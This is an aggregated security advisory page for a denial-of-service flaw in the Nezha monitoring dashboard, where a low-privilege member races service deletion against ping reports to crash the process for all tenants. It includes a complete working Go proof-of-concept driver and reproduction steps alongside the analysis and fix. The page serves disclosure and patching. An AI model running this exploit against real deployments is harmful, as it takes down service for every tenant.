Nezha Monitoring: Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From 2.2.7 until 2.2.11, ServiceSentinel.worker in service/singleton/servicesentinel.go checked an owned service under servicesLock and later dereferenced pointer-valued serviceStatusToday and serviceCurrentStatusData entries under serviceResponseDataStoreLock without revalidating that ServiceSentinel.Delete had not removed them. A RoleMember could concurrently report TCP or ICMP results through the member's own agent and delete the same owned service, causing a nil pointer dereference. Because the gRPC server had no recovery interceptor, the worker panic terminated the whole dashboard process and disrupted every tenant's web interface, REST API, and agent connections. The issue affects availability only and does not disclose or modify data. This issue is fixed in versions 2.2.11 and 2.3.0.

Source published

14 Oct 2026 15:38:47 UTC

Source modified

29 Oct 2026 14:39:43 UTC

Observed here

29 Oct 2026 16:12:12 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From 2.2.7 until 2.2.11, ServiceSentinel.worker in service/singleton/servicesentinel.go checked an owned service under servicesLock and later dereferenced pointer-valued serviceStatusToday and serviceCurrentStatusData entries under serviceResponseDataStoreLock without revalidating that ServiceSentinel.Delete had not removed them. A RoleMember could concurrently report TCP or ICMP results through the member's own agent and delete the same owned service, causing a nil pointer dereference. Because the gRPC server had no recovery interceptor, the worker panic terminated the whole dashboard process and disrupted every tenant's web interface, REST API, and agent connections. The issue affects availability only and does not disclose or modify data. This issue is fixed in versions 2.2.11 and 2.3.0.

Source published

Oct 14, 2026, 3:38:47 PM (timezone not stated)

Source modified

Oct 29, 2026, 2:39:43 PM (timezone not stated)

Observed here

7 Nov 2026 03:36:53 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From 2.2.7 until 2.2.11, ServiceSentinel.worker in service/singleton/servicesentinel.go checked an owned service under servicesLock and later dereferenced pointer-valued serviceStatusToday and serviceCurrentStatusData entries under serviceResponseDataStoreLock without revalidating that ServiceSentinel.Delete had not removed them. A RoleMember could concurrently report TCP or ICMP results through the member's own agent and delete the same owned service, causing a nil pointer dereference. Because the gRPC server had no recovery interceptor, the worker panic terminated the whole dashboard process and disrupted every tenant's web interface, REST API, and agent connections. The issue affects availability only and does not disclose or modify data. This issue is fixed in versions 2.2.11 and 2.3.0.

Source published

14 Oct 2026 16:17:28 UTC

Source modified

29 Oct 2026 15:17:14 UTC

Observed here

31 Oct 2026 06:45:49 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

## Summary A single low-privilege `RoleMember` can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at `service/singleton/servicesentinel.go:601`. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified. ## Affected versions Confirmed in `v2.2.7` through `v2.2.10`. `service/singleton/servicesentinel.go` has the same vulnerable implementation in all four releases. The issue is fixed in `v2.2.11` and later; users should upgrade to the latest release, `v2.3.0`. ## The bug The worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker. The maps hold pointers, so a missing key returns nil and the first field write through it panics: ``` 73: serviceStatusToday map[uint64]*_TodayStatsOfService 74: serviceCurrentStatusData map[uint64]*serviceTaskStatus ``` The worker checks presence via `Get`, which takes `servicesLock` and releases it. `canReportServiceResult` rejects a nil service here, so at this point the service is known to exist: ``` 532: cs, _ := ss.Get(r.Data.GetId()) // servicesLock.RLock / RUnlock 535: if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue } ``` For TCP/ICMP ping results, every `AvgPingCount` (default 2, TSDB off) the worker does a synchronous `DB.Create` at `:569` holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a *different* lock and dereferences the maps with no recheck and no lazy create: ``` 597: ss.serviceResponseDataStoreLock.Lock() 600: ss.serviceStatusToday[mh.GetId()].Delay = ... // nil deref if deleted meanwhile 609: ss.serviceCurrentStatusData[mh.GetId()].t ... // same hazard ``` Meanwhile `Delete` removes both entries under `serviceResponseDataStoreLock`, running on the HTTP-handler goroutine, a different goroutine from the single worker: ``` 378: func (ss *ServiceSentinel) Delete(ids []uint64) { 387: delete(ss.serviceCurrentStatusData, id) 390: delete(ss.serviceStatusToday, id) ``` The precise point: the check reads the `services` map under `servicesLock`; the write touches `serviceStatusToday` under `serviceResponseDataStoreLock`. Holding the second lock at `:600` proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so `-race` reports nothing; the staleness lives across the two locks, not inside one memory location. Two supporting facts. The ping map a few lines up self-heals on a miss (`:543`), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (`cmd/dashboard/rpc/rpc.go:37`), no recovery, so the worker panic is fatal to the whole process rather than a dropped request. ## Reachability Both legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over `POST /api/v1/service` and `POST /api/v1/batch-delete/service`, which pass `CheckPermission` for an owned service. No admin rights, no other tenant involved. `batchDeleteService` reaches `ServiceSentinel.Delete` synchronously on a separate goroutine from the worker, so the two interleave freely. ## Code flow ``` member agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing} -> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...}) -> serviceReportChannel -> single worker goroutine: Get(id) [servicesLock] present ......+ <- TOCTOU check (:532/:535) DB.Create(ServiceHistory) (gap) | | member HTTP: POST /api/v1/batch-delete/service | -> batchDeleteService (CheckPermission: own OK) | -> ServiceSentinel.Delete([id]) (synchronous) | [serviceResponseDataStoreLock] delete(serviceStatusToday,id) serviceResponseDataStoreLock.Lock() <-+ serviceStatusToday[id].Delay = ... <- id now absent -> nil deref -> SIGSEGV (:600) ``` ## Proof of concept Environment: dashboard built from `fd31e5f1` on go1.26.4, SQLite, bound to `127.0.0.1:8008`, with `avg_ping_count: 2` and TSDB disabled (both defaults). Everything runs against the real running binary using the project's own generated proto client and a plain HTTP client. No mocks, no in-process calls. The driver uses only the member's own credentials, targets only the member's own service, and is strictly for local authorized testing. ### The driver Placed at `cmd/pocdos/main.go` inside a checkout of the target repo (so the `github.com/nezhahq/nezha/proto` import resolves), built with `go build ./cmd/pocdos`. ```go import ( "bytes" "context" "crypto/tls" "flag" "fmt" "io" "log" "math/rand" "net/http" "os" "sync" "sync/atomic" "time" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" pb "github.com/nezhahq/nezha/proto" ) var ( grpcAddr = flag.String("grpc", "127.0.0.1:8008", "") baseURL = flag.String("url", "http://127.0.0.1:8008", "") secret = flag.String("secret", "", "m1 agent secret") uuid = flag.String("uuid", "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", "") token = flag.String("token", "", "m1 jwt") csrf = flag.String("csrf", "", "m1 csrf") dur = flag.Duration("dur", 90*time.Second, "") churn = flag.Int("churn", 16, "concurrent create/delete workers") ) var httpc = &http.Client{Timeout: 5 * time.Second, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConnsPerHost: 256}} func req(method, path string, body []byte) ([]byte, int) { r, _ := http.NewRequest(method, *baseURL+path, bytes.NewReader(body)) r.Header.Set("Content-Type", "application/json") r.Header.Set("Authorization", "Bearer "+*token) r.Header.Set("X-CSRF-Token", *csrf) r.AddCookie(&http.Cookie{Name: "nz-csrf", Value: *csrf}) r.AddCookie(&http.Cookie{Name: "nz-jwt", Value: *token}) resp, err := httpc.Do(r) if err != nil { return []byte(err.Error()), 0 } defer resp.Body.Close() b, _ := io.ReadAll(resp.Body) return b, resp.StatusCode } func createSvc() (uint64, bool) { b, _ := req("POST", "/api/v1/service", []byte(`{"name":"p","target":"127.0.0.1:8008","type":3,"cover":0,"duration":30}`)) var id uint64 if n, _ := fmt.Sscanf(string(b), `{"success":true,"data":%d}`, &id); n == 1 { return id, true } return 0, false } func deleteSvc(id uint64) { req("POST", "/api/v1/batch-delete/service", []byte(fmt.Sprintf("[%d]", id))) } func main() { flag.Parse() rand.Seed(time.Now().UnixNano()) conn, err := grpc.NewClient(*grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials())) if err != nil { log.Fatal(err) } cli := pb.NewNezhaServiceClient(conn) authCtx := func(ctx context.Context) context.Context { return metadata.AppendToOutgoingContext(ctx, "client_uuid", *uuid, "client_secret", *secret) } // 1) register a server owned by m1 if _, err := cli.ReportSystemInfo2(authCtx(context.Background()), &pb.Host{Platform: "poc", Arch: "poc"}); err != nil { log.Fatalf("register(ReportSystemInfo2) rejected: %v", err) } log.Println("server registered as m1 agent") // 2) open the RequestTask bidi stream (this agent now holds the task stream) stream, err := cli.RequestTask(authCtx(context.Background())) if err != nil { log.Fatalf("RequestTask open: %v", err) } go func() { // drain server->agent Task frames for { if _, err := stream.Recv(); err != nil { return } } }() // shared set of currently-alive service ids var mu sync.Mutex active := map[uint64]struct{}{} addID := func(id uint64) { mu.Lock(); active[id] = struct{}{}; mu.Unlock() } delID := func(id uint64) { mu.Lock(); delete(active, id); mu.Unlock() } snapshot := func() []uint64 { mu.Lock() defer mu.Unlock() out := make([]uint64, 0, len(active)) for id := range active { out = append(out, id) } return out } var sent, dels int64 stop := time.After(*dur) var wg sync.WaitGroup // churn workers: create -> arm -> delete for i := 0; i < *churn; i++ { wg.Add(1) go func() { defer wg.Done() for { select { case <-stop: return default: } id, ok := createSvc() if !ok { time.Sleep(time.Millisecond) continue } addID(id) // let the flood push a few reports for this id into the worker's gap time.Sleep(time.Duration(1+rand.Intn(3)) * time.Millisecond) deleteSvc(id) delID(id) atomic.AddInt64(&dels, 1) } }() } // single flood goroutine (grpc stream Send is not concurrency-safe) wg.Add(1) go func() { defer wg.Done() for { select { case <-stop: return default: } ids := snapshot() for _, id := range ids { if err := stream.Send(&pb.TaskResult{ Id: id, Type: 3, // TCPPing Delay: float32(1 + rand.Intn(50)), Successful: true, }); err != nil { fmt.Printf("STREAM_SEND_ERR=%v (dashboard likely crashed)\n", err) return } atomic.AddInt64(&sent, 1) } } }() // liveness probe: if the dashboard process dies, the API stops answering go func() { for { select { case <-stop: return case <-time.After(500 * time.Millisecond): _, code := req("GET", "/api/v1/user", nil) if code == 0 { fmt.Printf("LIVENESS_FAIL at sent=%d dels=%d, dashboard not answering\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels)) os.Exit(7) } } } }() wg.Wait() fmt.Printf("DONE without crash: sent=%d deletes=%d\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels)) } ``` The gRPC leg registers a server under the member's own agent secret via `ReportSystemInfo2`, opens `RequestTask`, then floods `TaskResult{Type: 3 (TCPPing)}` for every alive service id from a single goroutine (`stream.Send` is not concurrency-safe). The REST leg's churn workers loop `createSvc` → sleep 1–3 ms to let the flood push repeated reports into the worker's gap → `deleteSvc`, which fires `ServiceSentinel.Delete` and removes the map entry the worker is about to dereference. The liveness probe hits `GET /api/v1/user` every 500 ms and exits 7 on connection refused, which is the crash signal. ### Steps to reproduce 1. In a checkout of nezha at `fd31e5f1`, drop the file at `cmd/pocdos/main.go` and build: `go build -o pocdos ./cmd/pocdos`. 2. Start the dashboard (SQLite, `avg_ping_count: 2`, TSDB off) and complete first-run. Create a `RoleMember`, register a server under its agent secret, and log the member in to obtain its JWT and CSRF. 3. Run with the member's own credentials: `./pocdos -secret "$M1_AGENT_SECRET" -token "$M1_JWT" -csrf "$M1_CSRF" -dur 30s -churn 4`. ### Results On an unpatched build the driver prints `STREAM_SEND_ERR=EOF` + `LIVENESS_FAIL` + exit 7 within about half a second, and the dashboard's stderr shows the panic: ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x12966c8] github.com/nezhahq/nezha/service/singleton.(*ServiceSentinel).worker(...) .../service/singleton/servicesentinel.go:601 created by ...NewServiceSentinel in goroutine 1 .../service/singleton/servicesentinel.go:127 ``` Process death confirmed right after: `ps -p <pid>` shows the pid gone, `curl http://127.0.0.1:8008/api/v1/` returns `http_code=000`, `ss -ltn | grep 8008` shows no listener. Under `go build -race` the same run reports zero `WARNING: DATA RACE` and still crashes with the identical nil-deref, which confirms this is a logical cross-lock TOCTOU rather than a memory race. Under a normal build, reproducibility with a fresh database per trial, a 30-second cap, and four churn workers was 5 of 5, mean time-to-crash 0.5s. Each individual window is small, but the driver retries it tens of thousands of times a second and wins by volume, so it is fast and reliable, not a lucky single shot. `-churn 4` was already 5/5; the `16` default is heavier than needed. ## Fix Fixed in commit `c893aa57867d8a3d608e2f2f16d1594c9766cdf3`, released as `v2.2.11` and `v2.3.0`. The worker now acquires `serviceResponseDataStoreLock` before any report side effect, re-reads the current service and status entries, and re-runs `canReportServiceResult` while the lifecycle lock is held. `Delete` and `Update` therefore serialize with report processing, so reports for deleted services or reports invalidated by an update are discarded before history, status, notification, or TLS side effects. The fix also clears ping and TLS caches during deletion and makes `LoadStats` follow the lifecycle lock order, preventing stale cache state and an ABBA deadlock window. Deterministic lifecycle tests cover deletion, update revalidation, lock order, and TLS side effects. The full unit suite, race-and-shuffle suite, `go vet`, CodeQL, and release builds passed before publication.

Source published

15 Oct 2026 20:15:06 UTC

Source modified

19 Oct 2026 21:41:12 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE

Nezha Monitoring: Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant in github.com/nezhahq/nezha

Source published

19 Oct 2026 21:08:35 UTC

Source modified

19 Oct 2026 21:31:38 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.